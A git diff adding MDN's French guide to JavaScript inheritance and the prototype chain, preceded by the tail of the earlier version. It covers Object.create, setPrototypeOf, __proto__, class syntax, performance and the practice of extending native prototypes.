La seule raison qui peut prévaloir pour l'extension de prototypes natifs est l'ajout de fonctionnalités JavaScript apparues avec les nouvelles versions des spécifications et moteurs afin d'en disposer dans de plus anciens environnements.

- -

Résumé des méthodes pour étendre la chaîne de prototype

- -

Voici un tableau avec les quatre outils qui permettent d'étendre une chaîne de prototypes avec chacun leurs avantages et leurs inconvénients. Tous les exemples mentionnés permettent de créer le même objet inst (et affichant donc le même résultat dans la console) mais de façon différente.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomExemplesAvantagesInconvénients
Initialisation - 
-function toto(){}
-toto.prototype = {
-  toto_prop: "toto val"
-};
-function truc(){}
-var proto = new toto;
-proto.truc_prop = "truc val";
-truc.prototype = proto;
-var inst = new truc();
-console.log(inst.toto_prop);
-console.log(inst.truc_prop);
-
- 		Prise en charge par l'ensemble des navigateurs. Cette méthode est très rapide, standard et facilement optimisable. -

Afin d'utiliser cette méthode, il faut que la fonction ait été initialisée. Pendant cette initialisation, le constructeur peut enregistrer des informations uniques qui doivent être générées pour chaque objet.

- -

Toutefois, il est possible que ces informations uniques ne soient générées qu'une seule fois.

- -

De plus, l'initialisation du constructeur peut ajouter des méthodes non souhaitées sur l'objet.

- -

Cela dit, ces problèmes ne se révèlent que rarement.

-
Object.create() - 
-function toto(){}
-toto.prototype = {
-  toto_prop: "toto val"
-};
-function truc(){}
-var proto = Object.create(
-  toto.prototype
-);
-proto.truc_prop = "truc val";
-truc.prototype = proto;
-var inst = new truc();
-console.log(inst.toto_prop);
-console.log(inst.truc_prop);
-
- - 
-function toto(){}
-toto.prototype = {
-  toto_prop: "toto val"
-};
-function truc(){}
-var proto = Object.create(
-  toto.prototype,
-  {
-    truc_prop: {
-      value: "truc val"
-    }
-  }
-);
-truc.prototype = proto;
-var inst = new truc();
-console.log(inst.toto_prop);
-console.log(inst.truc_prop)
- 		Prise en charge par la majorité des navigateurs actuels. Elle permet de définir directement __proto__ en une seule fois et le navigateur peut mieux optimiser l'objet. Elle permet aussi de créer des objets sans prototype avec Object.create(null). -

Cette méthode n'est pas prise en charge par IE8 et les versions antérieures. Toutefois, Microsoft ayant mis un terme au support des systèmes qui utilisent ces navigateurs, ce ne devrait pas être un problème pour la plupart des navigation.

- -

De plus, la lenteur de l'initialisation de l'objet peut être causer des soucis de performances lorsqu'on utilise un deuxième argument car descripteur de propriété possède un objet rattaché. Lorsqu'on gère des centaines de milliers de descripteurs, cela peut entraîner un certain lag.

-
-

Object.setPrototypeOf()

- 		- 
-function toto(){}
-toto.prototype = {
-  toto_prop: "toto val"
-};
-function truc(){}
-var proto = {
-  truc_prop: "truc val"
-};
-Object.setPrototypeOf(
-  proto, toto.prototype
-);
-truc.prototype = proto;
-var inst = new truc();
-console.log(inst.toto_prop);
-console.log(inst.truc_prop);
-
- - 
-function toto(){}
-toto.prototype = {
-  toto_prop: "toto val"
-};
-function truc(){}
-var proto;
-proto=Object.setPrototypeOf(
-  { truc_prop: "truc val" },
-  toto.prototype
-);
-truc.prototype = proto;
-var inst = new truc();
-console.log(inst.toto_prop);
-console.log(inst.truc_prop)
- 		Prise en charge par l'ensemble des navigateurs actuels. Elle permet de manipuler dynamiquement le prototype d'un objet et également de rattacher un prototype à un objet qui n'aurait pas de prototype.Cette méthode devrait être dépréciée et possède des performances faibles. En effet, les moteurs tenteront d'optimiser la connaissance de la structure du prototype et cette méthode viendra à l'enconte de ces hypothèses et certains navigateurs pourront même recompiler le code pour le faire fonctionner selon les spécifications. Cette méthode n'est pas prise en charge par IE8 et les versions antérieures.
__proto__ - 
-function toto(){}
-toto.prototype = {
-  toto_prop: "toto val"
-};
-function truc(){}
-var proto = {
-  truc_prop: "truc val",
-  __proto__: toto.prototype
-};
-truc.prototype = proto;
-var inst = new truc();
-console.log(inst.toto_prop);
-console.log(inst.truc_prop);
-
- - 
-var inst = {
-  __proto__: {
-    truc_prop: "truc val",
-    __proto__: {
-      toto_prop: "toto val",
-      __proto__: Object.prototype
-    }
-  }
-};
-console.log(inst.toto_prop);
-console.log(inst.truc_prop)
- 		Prise en charge par l'ensemble des navigateurs actuels (y compris IE11 et ultérieurs). Défiinir __proto__ sur quelque chose qui n'est pas un objet échouera silencieusement.Cette méthode est dépréciée et n'est pas performante car les moteurs tentent d'optimiser les prototypes. Aussi, le modifier ainsi dynamiquement bloque ces optimisations et peut causer la recompilation du code pour qu'il fonctionne selon les spécifications. Cette méthode n'est pas prise en charge par IE10 et les versions antérieures.
- -

prototype et Object.getPrototypeOf()

- -

JavaScript peut prêter à confusion pour les développeurs utilisant Java ou C++. JavaScript est un langage dynamique et les structures peuvent évoluer lors de l'exécution.

- -

Vous avez peut-être remarqué que la fonction A possède une propriété spéciale intitulée prototype. Cette propriété spéciale fonctionne avec l'opérateur new Elle permet de copier la référence  l'objet prototype sur la propriété interne [[Prototype]] de la nouvelle instance créée. Ainsi, avec var a1 = new A(), Le moteur JavaScript définira a1.[[Prototype]] = A.prototype. Quand on tente d'accéder à une des propriétés de l'instance, JavaScript vérifie la présence sur l'instance puis analyse son prototype [[Prototype]]. Cela signifie que tout ce qui est défini sur prototype est effectivement partagé par l'ensemble des instances et on peut même modifier prototype en cours de route afin de modifier indirectement l'ensemble des instances.

- -

Dans l'exemple précédent, si on avait eu var a1 = new A(); var a2 = new A(); alors a1.faireUnTruc aurait fait référence à Object.getPrototypeOf(a1).faireUntruc qui est identique à A.prototype.faireUnTruc. Autrement dit Object.getPrototypeOf(a1).faireUnTruc == Object.getPrototypeOf(a2).faireUnTruc == A.prototype.faireUnTruc.

- -

Autrement dit prototype peut être utilisé pour les types et Object.getPrototypeOf() pour les instances.

- -

[[Prototype]] est analysé de façon récursive. Ainsi, a1.faireUnTruc correspondra à chercher Object.getPrototypeOf(a1).faireUnTruc puis Object.getPrototypeOf(Object.getPrototypeOf(a1)).faireUnTruc etc., jusqu'à ce qu'elle soit trouvée ou que Object.getPrototypeOfrenvoie null.

- -

Ainsi, quand on appelle :

- -
var o = new Toto();
- -

Le moteur JavaScript effectue les étapes suivantes :

- -
var o = new Object();
-o.[[Prototype]] = Toto.prototype;
-Toto.call(o);
- -

(ou quelque chose qui y ressemble) et si on écrit ensuite :

- -
o.unePropriété;
- -

Le moteur vérifie si o possède une propriété unePropriété en propre. Si ce n'est pas le cas, il vérifie Object.getPrototypeOf(o).unePropriété et ainsi de suite.

- -

Conclusion

- -

Il est essentiel de comprendre le modèle d'héritage prototypique avant d'écrire du code complexe qui repose sur ces notions. Il est également préférable d'avoir une idée de la longueur de la chaîne de prototype utilisée pour les différents objets et de fragmenter cette chaîne si besoin afin d'éviter des écueils de performances. Enfin, on veillera à ne pas étendre les prototypes natifs sauf afin d'émuler des nouvelles fonctionnalités qui ne seraient pas disponibles dans l'environnement utilisé.

diff --git a/files/fr/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/fr/web/javascript/inheritance_and_the_prototype_chain/index.html new file mode 100644 index 0000000000..255516427a --- /dev/null +++ b/files/fr/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -0,0 +1,573 @@ +--- +title: Héritage et chaîne de prototype +slug: Web/JavaScript/Héritage_et_chaîne_de_prototypes +tags: + - Guide + - Héritage + - Intermédiaire + - JavaScript + - OOP +translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain +--- +
{{jsSidebar("Advanced")}}
+ +

JavaScript peut prêter à confusion losqu'on est habitué à manipuler des langages de programmation manipulant les classes (tels que Java ou C++). En effet, JavaScript est un langage dynamique et ne possède pas de concept de classe à part entière (le mot-clé class a certes été ajouté avec ES2015 mais il s'agit uniquement de sucre syntaxique, JavaScript continue de reposer sur l'héritage prototypique).

+ +

En ce qui concerne l'héritage, JavaScript n'utilise qu'une seule structure : les objets. Chaque objet possède une propriété privée qui contient un lien vers un autre objet appelé le prototype. Ce prototype possède également son prototype et ainsi de suite, jusqu'à ce qu'un objet ait {{jsxref("null")}} comme prototype. Par définition, null ne possède pas de prototype et est ainsi le dernier maillon de la chaîne de prototype.

+ +

La majorité des objets JavaScript sont des instances de {{jsxref("Object")}} qui est l'avant dernier maillon de la chaîne de prototype.

+ +

Bien que cette confusion (entre classe et prototype) soit souvent avancée comme l'une des faiblesses de JavaScript, le modèle prototypique est plus puissant que le modèle classique et il est notamment possible de construire un modèle classique à partir d'un modèle prototypique.

+ +

Héritage et chaîne de prototype

+ +

Propriété héritées

+ +

Les objets JavaScript sont des ensembles dynamiques de propriétés (les propriétés directement rattachées à un objet sont appelées propriétés en propre (own properties)). Les objets JavaScript possèdent également un lien vers un objet qui est leur prototype. Lorsqu'on tente d'accéder aux propriétés d'un objet, la propriété sera recherchée d'abord sur l'objet même, puis sur son prototype, puis sur le prototype du prototype et ainsi de suite jusqu'à ce qu'elle soit trouvée ou que la fin de la chaîne de prototype ait été atteinte.

+ +
+

Note : Dans la spécification ECMAScript, on utilise la notation unObjet.[[Prototype]] pour faire référence au prototype de unObjet. Depuis ECMAScript 2015, on peut accéder à [[Prototype]] grâce aux accesseurs {{jsxref("Object.getPrototypeOf()")}} et {{jsxref("Object.setPrototypeOf()")}}. Cela est équivalent à la propriété JavaScript __proto__ qui était non-standard avant ES2015 mais qui était de fait implémentée par la majorité des navigateurs.

+ +

Cette propriété ne devrait pas être confondue avec la propriété func.prototype des fonctions qui définissent le [[Prototype]] à affecter aux instances des objets créés par cette fonction lorsqu'elle est utilisée comme constructeur. La propriété Object.prototype représente le prototype de {{jsxref("Object")}}.

+
+ +

Voici ce qui se produit lorsqu'on tente d'accéder à une propriété :

+ +
// On commence par créer un objet o pour lequel la fonction f sera
+// son constructeur et lui créera deux propriétés en propre
+// a et b :
+let f = function () {
+   this.a = 1;
+   this.b = 2;
+}
+let o = new f(); // {a: 1, b: 2}
+
+// on ajoute des propriétés au prototype de la fonction
+// f
+f.prototype.b = 3;
+f.prototype.c = 4;
+
+// Note : on ne définit pas le prototype de f avec f.prototype = {b:3,c:4};
+// car cela briserait la chaîne de prototype
+
+// o.[[Prototype]] possède les propriétés b and c.
+// o.[[Prototype]].[[Prototype]] est Object.prototype.
+// Enfin, o.[[Prototype]].[[Prototype]].[[Prototype]] vaut null.
+// On a alors atteint la fin de la chaîne de prototype car,
+// par définition, null n'a pas de [[Prototype]].
+// Ainsi, la chaîne complète est ici :
+// {a: 1, b: 2} ---> {b: 3, c: 4} ---> Object.prototype ---> null
+
+console.log(o.a); // 1
+// Existe-t-il une propriété 'a' en propre sur o ? Oui, elle vaut 1.
+
+console.log(o.b); // 2
+// Existe-t-il une propriété 'b' en propre sur o ? Oui, elle vaut 2.
+// Le prototype possède également une propriété 'b' mais elle n'est pas
+// utilisée.
+// C'est ce qu'on appelle l'ombrage (shadowing en anglais)
+
+console.log(o.c); // 4
+// Existe-t-il une propriété 'c' en propre sur o ? Non, on vérifie le
+// prototype.
+// Existe-t-il une propriété 'c' en propre sur o.[[Prototype]] ?
+// Oui, elle vaut 4.
+
+console.log(o.d); // undefined
+// Existe-t-il une propriété 'd' en propre sur o ? Non, on vérifie le
+// prototype.
+// Existe-t-il une propriété 'd' en propre sur o.[[Prototype]] ? Non, on vérifie le
+// prototype.
+// o.[[Prototype]].[[Prototype]] est Object.prototype et ne contient pas
+// de propriété 'd' par défaut. On vérifie son prototype.
+// o.[[Prototype]].[[Prototype]].[[Prototype]] est null, on arrête la recherche
+// aucune propriété n'est trouvée, le moteur renvoie undefined.
+
+ +

Lorsquon définit une propriété sur un objet, cela définit une propriété en propre. La seule exception se produit lorsqu'on définit un accesseur et/ou un mutateur sur une propriété héritée.

+ +

Méthodes héritées

+ +

JavaScript ne possède pas de méthodes au sens des langages de classe. En effet, en JavaScript, toute fonction associée à un objet est également une propriété. Une fonction héritée se comportera comme n'importe quelle autre propriété (y compris pour l'ombrage mentionné ci-avant où on pourra parler de surcharge).

+ +

Lorsqu'une fonction héritée est exécutée, la valeur de this pointe vers l'objet hérité et non vers l'objet prototype qui possède la fonction comme propriété en propre.

+ +
var o = {
+  a: 2,
+  m: function() {
+    return this.a + 1;
+  }
+};
+
+console.log(o.m()); // 3
+// Quand on appelle o.m ici, 'this' fera référence à o
+
+var p = Object.create(o);
+// p est un objet qui hérite de o
+
+p.a = 4; // on crée une propriété 'a' en propre sur p
+console.log(p.m()); // 5
+// lorsque p.m est appelée, 'this' fait référence à p.
+// Ainsi quand p hérite de m via o,
+// 'this.a' signifie p.a, soit la propriété 'a' de p
+
+
+
+ +

Utiliser les prototypes avec JavaScript

+ +

Regardons un peu plus en détail ce qui se déroule en arrière-plan.

+ +
+

Note : Pour tous les exempls suivants, nous vous invitons à ouvrir la "console" de votre navigateur pour y copier/coller/éditer les fragments de code. Pour savoir comment lancer cette console, vous pouvez lire la documentation des navigateurs : Firefox, Chrome, Edge.

+
+ +

En JavaScript, comme mentionné ci-dessus, les fonctions peuvent avoir des propriétés. Toutes les fonctions ont une propriété spéciale intitulée prototype.

+ +
function faireUnTruc(){}
+console.log( faireUnTruc.prototype ); // Object {...}
+// Peu importe comment vous déclarez la fonction.
+// une fonction en JavaScript aura toujours une propriété
+// prototype par défaut.
+var faireUnTruc= function(){};
+console.log(faireUnTruc.prototype); // Object {...}
+
+ +

Comme mentionné avant, faireUnTruc() possède une propriété par défaut prototype. Après avoir exécuté ce code dans une console, la console devrait afficher un objet semblable à :

+ +
{
+    constructor: ƒ faireUnTruc(),
+    __proto__: {
+        constructor: ƒ Object(),
+        hasOwnProperty: ƒ hasOwnProperty(),
+        isPrototypeOf: ƒ isPrototypeOf(),
+        propertyIsEnumerable: ƒ propertyIsEnumerable(),
+        toLocaleString: ƒ toLocaleString(),
+        toString: ƒ toString(),
+        valueOf: ƒ valueOf()
+    }
+}
+ +

On peut ajouter des propriétés au prototype de faireUnTruc() comme suit :

+ +
function faireUnTruc(){}
+faireUnTruc.prototype.toto = "truc";
+console.log( faireUnTruc.prototype );
+ +

Produira le résultat suivant :

+ +
{
+    toto: "truc",
+    constructor: ƒ faireUnTruc(),
+    __proto__: {
+        constructor: ƒ Object(),
+        hasOwnProperty: ƒ hasOwnProperty(),
+        isPrototypeOf: ƒ isPrototypeOf(),
+        propertyIsEnumerable: ƒ propertyIsEnumerable(),
+        toLocaleString: ƒ toLocaleString(),
+        toString: ƒ toString(),
+        valueOf: ƒ valueOf()
+    }
+}
+
+ +

On peut utiliser l'opérateur new afin de créer une instance de faireUnTruc() basée sur ce prototype. Pour utiliser l'opérateur new, il suffira d'appeler la fonction et de précéder cet appel avec le mot-clé new. Lorsqu'on appelle une fonction avec un opérateur new, celle-ci renvoie un objet qui est une instance de la fonction. On peut ensuite ajouter des propriétés sur cet objet.

+ +

Voyons le code qui suit :

+ +
function faireUnTruc(){}
+faireUnTruc.prototype.toto = "truc"; // on ajoute une propriété au prototype
+var uneInstance = new faireUnTruc();
+uneInstance.prop = "une valeur"; // on ajoute une propriété sur l'objet
+console.log(uneInstance);
+ +

Exécuté, ce code produira le résultat suivant dans la console :

+ +
{
+    prop: "une valeur",
+    __proto__: {
+        toto: "truc",
+        constructor: ƒ faireUnTruc(),
+        __proto__: {
+            constructor: ƒ Object(),
+            hasOwnProperty: ƒ hasOwnProperty(),
+            isPrototypeOf: ƒ isPrototypeOf(),
+            propertyIsEnumerable: ƒ propertyIsEnumerable(),
+            toLocaleString: ƒ toLocaleString(),
+            toString: ƒ toString(),
+            valueOf: ƒ valueOf()
+        }
+    }
+}
+ +

Comme nous l'avons vu avant, la valeur de __proto__ pour uneInstance est faireUnTruc.prototype. Mais quel est l'intérêt ? Lorsqu'on accède à une propriété de uneInstance, le moteur contrôle d'abord si uneInstance possède cette propriété.

+ +

Si uneInstance ne possède pas cette propriété, le moteur contrôlera la propriété sur la propriété __proto__ de uneInstance (c'est-à-dire faireUnTruc.prototype). Si la propriété __proto__ de uneInstance possède la propriété qu'on recherche, ce sera celle-ci qui sera utilisée.

+ +

Si __proto__ de unTruc ne possède pas la propriété recherchée, le moteur contrôle la propriété __proto__ de la propriété __proto__ de uneInstance. Par défaut, la propriété __proto__ de n'importe quel propriété prototyped'une fonction est  window.Object.prototype. Ainsi, la propriété __proto__ de la propriété __proto__ de  uneInstance (c'est-à-dire __proto__ de faireUnTruc.prototype (c'est-à-dire. Object.prototype)) est contrôlée pour vérifier si la propriété y est présente.

+ +

Si la propriété n'est pas trouvée sur la propriété __proto__ de la propriété __proto__ de uneInstance, c'est la proriété __proto__ de la propriété __proto__ de la propriété __proto__ de uneInstance qui est contrôlée. Cependant il y a un problème car la propriété __proto__ de la propriété __proto__ de la propriété __proto__ de unTruc n'existe pas. Autrement dit, toute la chaîne de prototype a été parcouru et on ne peut pas remonter d'un cran sur un autre __proto__ et le moteur peut conclure que la propriété n'existe pas pour cet objet et renvoyer undefined.

+ +

Regardons ce qui se produit dans la console avec un peu de code :

+ +
function faireUnTruc(){}
+faireUnTruc.prototype.toto = "truc";
+var uneInstance = new faireUnTruc();
+uneInstance.prop = "une valeur";
+console.log("uneInstance.prop: " + uneInstance.prop);
+console.log("uneInstance.toto: " + uneInstance.toto);
+console.log("faireUnTruc.prop: " + faireUnTruc.prop);
+console.log("faireUnTruc.toto: " + faireUnTruc.toto);
+console.log("faireUnTruc.prototype.prop: " + faireUnTruc.prototype.prop);
+console.log("faireUnTruc.prototype.toto:  " + faireUnTruc.prototype.toto);
+ +

Le résultat est le suivant :

+ +
uneInstance.prop: une valeur
+uneInstance.toto: truc
+faireUnTruc.prop: undefined
+faireUnTruc.toto: undefined
+faireUnTruc.prototype.prop: undefined
+faireUnTruc.prototype.toto: truc
+ +

Les différentes façons de créer des objets et les impacts sur la chaîne de prototype

+ +

Objets créés avec les raccourcis syntaxiques (littéraux)

+ +
var o = {a: 1};
+
+// Le nouvel objet possède Object.prototype comme [[Prototype]]
+// o ne possède pas de propriété 'hasOwnProperty' en propre
+// hasOwnProperty est une propriété en propre de Object.prototype.
+// o hérite de hasOwnProperty via Object.prototype
+// Object.prototype possède null comme prototype.
+// o ---> Object.prototype ---> null
+
+var b = ['coucou', 'ça va', '?'];
+
+// Les tableaux (Array) héritent de Array.prototype
+// (qui possède les méthodes indexOf, forEach, etc.)
+// La chaîne de prototype est donc :
+// b ---> Array.prototype ---> Object.prototype ---> null
+
+function f() {
+  return 2;
+}
+
+// Les fonctions héritent de Function.prototype
+// (qui possède les méthodes call, bind, etc.)
+// La chaîne de prototype est donc
+// f ---> Function.prototype ---> Object.prototype ---> null
+
+ +

Objets créés avec un constructeur

+ +

En JavaScript, un constructeur est juste une fonction que l'on invoque avec l'opérateur new.

+ +
function Graphe() {
+  this.sommets = [];
+  this.arêtes = [];
+}
+
+Graphe.prototype = {
+  ajoutSommet: function(v) {
+    this.sommets.push(v);
+  }
+};
+
+var g = new Graphe();
+// g est un objet qui possède les propriétés 'sommets' and 'arêtes' en propre.
+// g.[[Prototype]] est la valeur de Graphe.prototype lorsque "new Graphe()" est exécuté.
+
+ +

Objets créés avec Object.create()

+ +

ECMAScript 5 a introduit une nouvelle méthode : {{jsxref("Object.create()")}}. Appeler cette méthode crée un nouvel objet et le prototype de cet objet est le premier argument de cette fonction :

+ +
var a = {a: 1};
+// a ---> Object.prototype ---> null
+
+var b = Object.create(a);
+// b ---> a ---> Object.prototype ---> null
+console.log(b.a); // 1 (héritée)
+
+var c = Object.create(b);
+// c ---> b ---> a ---> Object.prototype ---> null
+
+var d = Object.create(null);
+// d ---> null
+console.log(d.hasOwnProperty);
+// undefined, car d n'hérite pas de Object.prototype
+
+ +

Suppression des propriétés avec delete

+ +

L'opérateur delete permet de supprimer une propriété directement rattachée à un objet. En revanche, il n'empêchera pas l'exploration de la chaîne de prototype :

+ +
let a = {toto: 1};
+let b = Object.create(a);
+
+console.log(b.toto); // Affiche 1 car c'est une propriété disponible via le prototype
+b.toto = 5;
+console.log(b.toto); // Affiche 5, désormais cette propriété existe sur l'objet
+
+delete b.toto;
+console.log(b.toto); // Affiche 1 : la propriété n'est plus disponible sur l'objet mais
+                     // on peut toujours la récupérer via le prototype
+ +

Objets créés avec le mot-clé class

+ +

ECMAScript 2015 introduit plusieurs mots-clés destinés à créer du sucre syntaxique pour manipuler des classes. Ces mots-clés sont {{jsxref("Instructions/class", "class")}}, {{jsxref("Classes/constructor", "constructor")}}, {{jsxref("Classes/static", "static")}}, {{jsxref("Classes/extends", "extends")}} et {{jsxref("Opérateurs/super", "super")}}.

+ +
'use strict';
+
+class Polygone {
+  constructor(hauteur, largeur) {
+    this.hauteur = hauteur;
+    this.largeur = largeur;
+  }
+}
+
+class Carré extends Polygone {
+  constructor(longueurCôté) {
+    super(longueurCôté, longueurCôté);
+  }
+  get aire() {
+    return this.hauteur * this.largeur;
+  }
+  set longueurCôté(nouvelleLongueur) {
+    this.hauteur = nouvelleLongueur;
+    this.largeur = nouvelleLongueur;
+  }
+}
+
+var carré = new Carré(2);
+
+ +

Performance

+ +

Le temps de recherche des propriétés sera plus élevé si ces propriétés sont situées plus loin dans la chaîne de prototype. Tenter d'accéder à ces propriétés éloignées pourra avoir un impact négatif sur les performances. De plus, tenter d'accéder à des propriétés inexistantes entraîntera toujours le parcours de l'ensemble de la chaîne de prototype.

+ +

Lorsqu'on parcourt les propriétés d'un objet, toutes les propriétés énumérables situées sur la chaîne de prototype seront parcourues. Pour vérifier si un objet possède une propriété en propre plus que via sa chaîne de prototype, on devra utiliser la méthode hasOwnProperty() qui est héritée grâce à Object.prototype. Prenons un exemple concret avec le cas du graphe traité dans un exemple précédent :

+ +
console.log(g.hasOwnProperty('arêtes'));
+// true
+
+console.log(g.hasOwnProperty('nononon'));
+// false
+
+console.log(g.hasOwnProperty('ajoutSommet'));
+// false
+
+console.log(g.__proto__.hasOwnProperty('ajoutSommet'));
+// true
+
+ +
+

Note : Tester si une propriété vaut {{jsxref("undefined")}} ne suffit pas à vérifier la présence de la propriété sur un objet : une propriété peut très bien exister sur un objet mais valoir undefined.

+
+ +

Mauvaise pratique : étendre les prototypes natifs

+ +

On peut parfois voir du code qui étend Object.prototype ou l'un des prototypes natifs.

+ +

Cette technique est intitulée monkey patching et brise l'encapsulation. Bien qu'elle soit utilisée par certains frameworks, il n'existe pas de raison suffisante pour étendre les objets natifs avec des fonctionnalités non-standard.

+ +

La seule raison qui peut prévaloir pour l'extension de prototypes natifs est l'ajout de fonctionnalités JavaScript apparues avec les nouvelles versions des spécifications et moteurs afin d'en disposer dans de plus anciens environnements.

+ +

Résumé des méthodes pour étendre la chaîne de prototype

+ +

Voici un tableau avec les quatre outils qui permettent d'étendre une chaîne de prototypes avec chacun leurs avantages et leurs inconvénients. Tous les exemples mentionnés permettent de créer le même objet inst (et affichant donc le même résultat dans la console) mais de façon différente.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NomExemplesAvantagesInconvénients
Initialisation + 
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = new toto;
+proto.truc_prop = "truc val";
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop);
+
+ 		Prise en charge par l'ensemble des navigateurs. Cette méthode est très rapide, standard et facilement optimisable. +

Afin d'utiliser cette méthode, il faut que la fonction ait été initialisée. Pendant cette initialisation, le constructeur peut enregistrer des informations uniques qui doivent être générées pour chaque objet.

+ +

Toutefois, il est possible que ces informations uniques ne soient générées qu'une seule fois.

+ +

De plus, l'initialisation du constructeur peut ajouter des méthodes non souhaitées sur l'objet.

+ +

Cela dit, ces problèmes ne se révèlent que rarement.

+
Object.create() + 
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = Object.create(
+  toto.prototype
+);
+proto.truc_prop = "truc val";
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop);
+
+ + 
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = Object.create(
+  toto.prototype,
+  {
+    truc_prop: {
+      value: "truc val"
+    }
+  }
+);
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop)
+ 		Prise en charge par la majorité des navigateurs actuels. Elle permet de définir directement __proto__ en une seule fois et le navigateur peut mieux optimiser l'objet. Elle permet aussi de créer des objets sans prototype avec Object.create(null). +

Cette méthode n'est pas prise en charge par IE8 et les versions antérieures. Toutefois, Microsoft ayant mis un terme au support des systèmes qui utilisent ces navigateurs, ce ne devrait pas être un problème pour la plupart des navigation.

+ +

De plus, la lenteur de l'initialisation de l'objet peut être causer des soucis de performances lorsqu'on utilise un deuxième argument car descripteur de propriété possède un objet rattaché. Lorsqu'on gère des centaines de milliers de descripteurs, cela peut entraîner un certain lag.

+
+

Object.setPrototypeOf()

+ 		+ 
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = {
+  truc_prop: "truc val"
+};
+Object.setPrototypeOf(
+  proto, toto.prototype
+);
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop);
+
+ + 
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto;
+proto=Object.setPrototypeOf(
+  { truc_prop: "truc val" },
+  toto.prototype
+);
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop)
+ 		Prise en charge par l'ensemble des navigateurs actuels. Elle permet de manipuler dynamiquement le prototype d'un objet et également de rattacher un prototype à un objet qui n'aurait pas de prototype.Cette méthode devrait être dépréciée et possède des performances faibles. En effet, les moteurs tenteront d'optimiser la connaissance de la structure du prototype et cette méthode viendra à l'enconte de ces hypothèses et certains navigateurs pourront même recompiler le code pour le faire fonctionner selon les spécifications. Cette méthode n'est pas prise en charge par IE8 et les versions antérieures.
__proto__ + 
+function toto(){}
+toto.prototype = {
+  toto_prop: "toto val"
+};
+function truc(){}
+var proto = {
+  truc_prop: "truc val",
+  __proto__: toto.prototype
+};
+truc.prototype = proto;
+var inst = new truc();
+console.log(inst.toto_prop);
+console.log(inst.truc_prop);
+
+ + 
+var inst = {
+  __proto__: {
+    truc_prop: "truc val",
+    __proto__: {
+      toto_prop: "toto val",
+      __proto__: Object.prototype
+    }
+  }
+};
+console.log(inst.toto_prop);
+console.log(inst.truc_prop)
+ 		Prise en charge par l'ensemble des navigateurs actuels (y compris IE11 et ultérieurs). Défiinir __proto__ sur quelque chose qui n'est pas un objet échouera silencieusement.Cette méthode est dépréciée et n'est pas performante car les moteurs tentent d'optimiser les prototypes. Aussi, le modifier ainsi dynamiquement bloque ces optimisations et peut causer la recompilation du code pour qu'il fonctionne selon les spécifications. Cette méthode n'est pas prise en charge par IE10 et les versions antérieures.
+ +

prototype et Object.getPrototypeOf()

+ +

JavaScript peut prêter à confusion pour les développeurs utilisant Java ou C++. JavaScript est un langage dynamique et les structures peuvent évoluer lors de l'exécution.

+ +

Vous avez peut-être remarqué que la fonction A possède une propriété spéciale intitulée prototype. Cette propriété spéciale fonctionne avec l'opérateur new Elle permet de copier la référence  l'objet prototype sur la propriété interne [[Prototype]] de la nouvelle instance créée. Ainsi, avec var a1 = new A(), Le moteur JavaScript définira a1.[[Prototype]] = A.prototype. Quand on tente d'accéder à une des propriétés de l'instance, JavaScript vérifie la présence sur l'instance puis analyse son prototype [[Prototype]]. Cela signifie que tout ce qui est défini sur prototype est effectivement partagé par l'ensemble des instances et on peut même modifier prototype en cours de route afin de modifier indirectement l'ensemble des instances.

+ +

Dans l'exemple précédent, si on avait eu var a1 = new A(); var a2 = new A(); alors a1.faireUnTruc aurait fait référence à Object.getPrototypeOf(a1).faireUntruc qui est identique à A.prototype.faireUnTruc. Autrement dit Object.getPrototypeOf(a1).faireUnTruc == Object.getPrototypeOf(a2).faireUnTruc == A.prototype.faireUnTruc.

+ +

Autrement dit prototype peut être utilisé pour les types et Object.getPrototypeOf() pour les instances.

+ +

[[Prototype]] est analysé de façon récursive. Ainsi, a1.faireUnTruc correspondra à chercher Object.getPrototypeOf(a1).faireUnTruc puis Object.getPrototypeOf(Object.getPrototypeOf(a1)).faireUnTruc etc., jusqu'à ce qu'elle soit trouvée ou que Object.getPrototypeOfrenvoie null.

+ +

Ainsi, quand on appelle :

+ +
var o = new Toto();
+ +

Le moteur JavaScript effectue les étapes suivantes :

+ +
var o = new Object();
+o.[[Prototype]] = Toto.prototype;
+Toto.call(o);
+ +

(ou quelque chose qui y ressemble) et si on écrit ensuite :

+ +
o.unePropriété;
+ +

Le moteur vérifie si o possède une propriété unePropriété en propre. Si ce n'est pas le cas, il vérifie Object.getPrototypeOf(o).unePropriété et ainsi de suite.

+ +

Conclusion

+ +

Il est essentiel de comprendre le modèle d'héritage prototypique avant d'écrire du code complexe qui repose sur ces notions. Il est également préférable d'avoir une idée de la longueur de la chaîne de prototype utilisée pour les différents objets et de fragmenter cette chaîne si besoin afin d'éviter des écueils de performances. Enfin, on veillera à ne pas étendre les prototypes natifs sauf afin d'émuler des nouvelles fonctionnalités qui ne seraient pas disponibles dans l'environnement utilisé.

